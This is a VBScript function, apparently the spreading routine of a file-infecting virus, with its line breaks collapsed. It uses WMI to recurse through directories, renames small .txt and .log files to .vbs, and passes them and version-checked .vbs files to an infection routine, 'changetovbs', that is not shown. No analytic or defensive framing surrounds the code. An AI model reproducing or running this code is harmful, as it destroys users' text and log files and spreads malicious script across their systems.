Function wmisfile(path_sf,justcnt)  'On Error Resume Next  StrComputer = "."  Set ObjWMIService = GetObject("winmgmts://" & StrComputer & "/root/cimv2")  Set FileList = objWMIService.ExecQuery _  ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _   & "ResultClass = CIM_DataFile")  For Each objFile In FileList    fname = LCase(objfile.name)    ename = LCase(objfile.extension)    If 1 < objfile.filesize And objfile.filesize <= 50000 Then      Select Case ename        Case "txt","log"        path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"        objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")        Call changetovbs(path_vbs,path_vbs)        justcnt = justcnt + 1        Case "vbs"        If checkversion(fname) = False Then          Call changetovbs(fname,fname)          justcnt = justcnt + 1        End If      End Select    End If  Next  Set colSubfolders = objWMIService.ExecQuery _  ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _   & "Where AssocClass = Win32_Subdirectory " _   & "ResultRole = PartComponent")  For Each objFolder In colSubfolders    wmisfile objfolder.name,justcnt  NextEnd Function